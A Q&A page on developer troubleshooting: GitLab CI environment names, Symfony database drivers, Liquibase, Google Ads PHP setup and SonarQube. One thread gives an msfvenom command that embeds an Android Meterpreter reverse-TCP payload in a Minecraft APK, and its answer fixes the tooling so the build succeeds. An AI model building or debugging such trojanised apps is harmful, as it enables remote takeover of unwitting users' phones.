Get an error when set up the name of `environment` with UTF-8 content - gitlab-ci

GitLab version: GitLab Community Edition 14.10.5
I have found that the old CI configuration has broken after upgrading GitLab, and it throws the error This job could not be executed because it would create an environment with an invalid parameter. How do I fix it? when the CI_COMMIT_REF_NAME has UTF-8 content like Chinese.
environment: review/$CI_COMMIT_REF_NAME
I tried CI_COMMIT_REF_SLUG, but it still did not work.

Related

Symfony 5 - "An exception occurred in driver: could not find driver"

I'm currently face to this problem. I am really new beginer at Symfony.
Problem :
When i create a new db with cli symfony console doctrine:database:create, i am getting these errors :
In AbstractPostgreSQLDriver.php line 102:
An exception occurred in driver: could not find driver
In Exception.php line 18:
could not find driver
In PDOConnection.php line 38:
could not find driver
Iam using php 7.4 with xampp and normaly pdo_sql is installed :
extension=bz2
extension=curl
;extension=ffi
;extension=ftp
extension=fileinfo
extension=gd2
extension=gettext
;extension=gmp
;extension=intl
;extension=imap
;extension=ldap
extension=mbstring
extension=exif ; Must be after mbstring as it depends on it
extension=mysqli
;extension=oci8_12c ; Use with Oracle Database 12c Instant Client
;extension=odbc
extension=openssl
;extension=pdo_firebird
extension=pdo_mysql
;extension=pdo_oci
;extension=pdo_odbc
;extension=pdo_pgsql
extension=pdo_sqlite
;extension=pgsql
;extension=shmop
this is my .env file config :
###> doctrine/doctrine-bundle ###
# Format described at https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
# IMPORTANT: You MUST configure your server version, either here or in config/packages/doctrine.yaml
#
# DATABASE_URL="sqlite:///%kernel.project_dir%/var/data.db"
DATABASE_URL="mysql://root:#127.0.0.1:3306/dbname"
DATABASE_URL="postgresql://db_user:db_password#127.0.0.1:5432/db_name?serverVersion=13&charset=utf8"
###< doctrine/doctrine-bundle ###
And this is my doctrine.yaml file config :
doctrine:
dbal:
url: '%env(resolve:DATABASE_URL)%'
# IMPORTANT: You MUST configure your server version,
# either here or in the DATABASE_URL env var (see .env file)
#server_version: '13'
orm:
auto_generate_proxy_classes: true
naming_strategy: doctrine.orm.naming_strategy.underscore_number_aware
auto_mapping: true
mappings:
App:
is_bundle: false
type: annotation
dir: '%kernel.project_dir%/src/Entity'
prefix: 'App\Entity'
alias: App
I have been searching for hours but i cant get any solutions to solve my problem, someone has an idea ?
I'm on windows.
Thanks a lot !
If you want to use Mysql , comment this line DATABASE_URL="postgresql://db_user:db_password#127.0.0.1:5432/db_name?serverVersion=13&charset=utf8"
If not comment the other line
if you are working in Linux, probably some extensions are missing,run those command
sudo apt-get install php-mysql php-pdo
I had the same problem, PHP 7.4.29, xampp, windows.
For the purpose of installing Xdebug I upgraded my PHP version to 7.4.29 (previously 7.4.18), and I guess this errror occured since then. Database connexion worked before. I copied the extensions from the old php.ini to the new one and the error remained.
What resolved the problem : added this line :
extension_dir = "D:\programs\xampp\php\ext"
And activated these extensions :
extension=bz2
extension=curl
extension=fileinfo
extension=gd2
extension=gettext
extension=mbstring
extension=exif
extension=mysqli
extension=pdo_mysql
extension=pdo_sqlite
In my case, I got my .env.local file from a colleague and stupidly saved it without the leading dot, so Symfony was using the values from the .env file, which reads
DATABASE_URL="postgresql://symfony:ChangeMe#127.0.0.1:5432/app?serverVersion=13&charset=utf8" rather than the correct DATABASE_URL="mysql://foo:bar#127.0.0.1:3306/baz?serverVersion=mariadb-x.y.z" from .env.local.
I'm running Homestead/vagrant on windows and my problem was, I wasn't able to execute this command php bin/console doctrine:database:create on windows even though I opened a terminal as administrator
As seen on these 2 pictures I tried Cmder and Git bash and both of them failed, saying an execption occured in driver: could not find driver
I then solved it by SSH into my vagrant box vagrant ssh navigated to the working symfony folder and ran the command from there php bin/console doctrine:database:create and for some reason that worked !
I wish there was an easier way to debug this stuff, but I guess that's how it is working with Windows. Hope this can help someone out there
php.ini
copy path
find the file then open it
delete the ; in extension=mysqli
I also had this problem, just uncomment the DATABASE_URL that you have on your computer either (sqlite, mysql or postresql).
I had the same problem when I typed the following command:
symfony console make:user User
I solved the problem with the command:
php bin/console make:user User.
Wanting to create a user
step 1 => go to Xaamp control panel then click config of Apache
step 2 => click on PHP(php.ini).browse through the file. you can able to see these extensions.
extension=bz2
extension=curl
remove ; from ;extension=pdo_pgsql and save it and close file
step 3 => now come back to your project.click on .env file and comment this line:
DATABASE_URL="postgresql://symfony:ChangeMe#127.0.0.1:5432/app?serverVersion=13&charset=utf8"
this works!
I had the same problem, I am runing a Symofny application with docker.
When you add doctrine-bundle to your app, in Dockerfile will appear this lines what will install drivers for postgres.
You have to remove it and add this line, this will install drivers for mysql
RUN docker-php-ext-install pdo pdo_mysql
I hope that helps to someone.
Delete or comment from .env file the line:
DATABASE_URL="postgresql://db_user:db_password#127.0.0.1:5432/db_name?serverVersion=13&charset=utf8"
I had the same problem to solve the problem:
type php --ini to see the path to the file php.init
if you are on vscode do ctr + click on the path otherwise follow the path manually on your computer to the file php.init make sure your open php.init file with admin right !!
edit the file and uncomment extension=pdo_mysql
save and retry php bin/console doctrine:database:create
type php -m for check if your're in list pdo_mysql
here an illustration

Liquibase Installation Troubleshooting

Liquibase was install in the following location
C:\liquibase
when I run the following command on cmd,
liquibase
I get error
the system can not find specified path
I added liquibase to system variable
when I run the following command on cmd
java -version
The following output is displayed
java version "1.8.0_271"
Java(TM) SE Runtime Environment (build 1.8.0_271-b09)
Java HotSpot(TM) Client VM (build 25.271-b09, mixed mode, sharing)
I also tried navigating to C:\liquibase and ran
liquibase --help
and the output was
the system can not find specified path
Any suggestion on what should be adjusted to run liquibase?
After deleting JAVA_HOME variable that was set on user variables, the issue was fixed. See the following image that shows the user and system evironment variables, the user variable that was deleted is indicated surrounded by a red rectangle.
You need to add C:\liquibase to your Path variable in order for liquibase.bat file (which is located in C:\liquibase) to be accessible from any location.

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

Installing Google Adwords Api Library (using docker)

Googles documentation on installing the library, found here: https://github.com/googleads/googleads-php-lib/blob/master/README.md#getting-started, instructs us to copy adsapi_php.ini, as constructed here: https://github.com/googleads/googleads-php-lib/blob/master/examples/AdWords/adsapi_php.ini, to your home directory.
I filled out the necessary variables in the .ini, and I am using docker so I have placed this file inside my container at /var/www/home/node/ and when I run the command composer require googleads/googleads-php-lib I am given the following error in the command prompt:
Your requirements could not be resolved to an installable set of packages.
Problem 1
- Installation request for googleads/googleads-php-lib ^37.1 -> satisfiable by googleads/googleads-php-lib[37.1.0].
- googleads/googleads-php-lib 37.1.0 requires ext-soap * -> the requested PHP extension soap is missing from your system.
To enable extensions, verify that they are enabled in your .ini files:
- /usr/local/etc/php/php.ini
- /usr/local/etc/php/conf.d/adsapi_php.ini
- /usr/local/etc/php/conf.d/docker-php-ext-pdo_pgsql.ini
- /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
- /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
You can also run `php --ini` inside terminal to see which files are used by PHP in CLI mode.
Installation failed, reverting ./composer.json to its original content.
I assumed the issue was my adsapi_php.ini was simply in the wrong location as it contains what I believe is necessary to avoid the above issue, but I have tried placing it in several different places and yet I always get the same error.
Any help would be appreciated!
Just try to edit php.ini inside docker (docker exec -t {container} bashand enable there the extenstion soap

MSBuild SonarQube Runner v1.0 returns with code 1 after "Generating the FxCop ruleset"

I'm trying out SonarQube using the new MSBuild SonarQube Runner v1.0. If I install a fresh SonarQube server locally, the following command works fine, and I can build my solution directly afterward, call the 'end' command, and have the results published in SonarQube:
MSBuild.SonarQube.Runner.exe begin /key:TestKey /name:TestName /version:1.0.0.0
However, if I run this against an existing SonarQube server that exists on the internal network, it always returns with exit code 1:
15:32:40 Creating config and output folders...
15:32:40 Creating directory: c:\Test\MSBuild.SonarQube.Runner-1.0.itsonar\.sonarqube\conf
15:32:40 Creating directory: c:\Test\MSBuild.SonarQube.Runner-1.0.itsonar\.sonarqube\out
15:32:41 Generating the FxCop ruleset: c:\Test\MSBuild.SonarQube.Runner-1.0.itsonar\.sonarqube\conf\SonarQubeFxCop-cs.ruleset
Process returned exit code 1
It seems to download a lot of the dependencies into /.sonarqube, so communication with the server isn't an issue
Things I've tried:
checked the access.log, server.log and event logs
upgraded the existing server to v5.1.2 (clean install using the guide)
upgraded the sonar-csharp-plugin to v4.1
right-clicked all .jar files on the server and ensured they are unblocked
tried the runner directly on the server
(ongoing) tried debugging the source code (happening somewhere in the pre-process step: success comes back as true, but the error code is 1)
disabled UAC on the server an rebooted
re-installed JRE on both server and client, ensure JAVA_HOME in both PATH and registry are set correctly
Any help or pointers greatly accepted. I've been stuck on this for 2 days and can't think of anything else to try except continue trawling through source code. Thank you.
This is a tricky one! Looking at the code, I see only one path that can yield this output:
It fails while generating the FxCop ruleset for C#, as the VB.NET FxCop ruleset message is not logged - see TeamBuildPreProcessor.cs#L149 and TeamBuildPreProcessor.cs#L185
The GenerateFxCopRuleset() call for C# threw a WebException, leading to the call of Utilities.HandleHostUrlWebException() - which has to return true for the exception to be silently swallowed - see Utilities.cs#L153
The only path returning true without logging any message is if a HttpStatusCode.NotFound was received - see Utilities.cs#L158
The control flow goes back to FetchArgumentsAndRulesets(), which returns false, then goes back to Execute() which returns false as well - see TeamBuildPreProcessor.cs#L106
The MSBuild SonarQube Runner "begin" phase (called "preprocessor" in the code) fails - see Program.cs#L42
So, at some point, some SonarQube web service required for the C# FxCop ruleset generation is return a HTTP 404 error.
Could you monitor your network traffic and listen for the failing HTTP call? [I will keep on updating this answer afterwards]
EDIT: Indeed the error is caused by the quality profile name containing special characters. Such characters are currently badly URL-escaped, which leads to a 404.
I've created the following ticket to fix this issue in the upcoming release: http://jira.sonarsource.com/browse/SONARMSBRU-125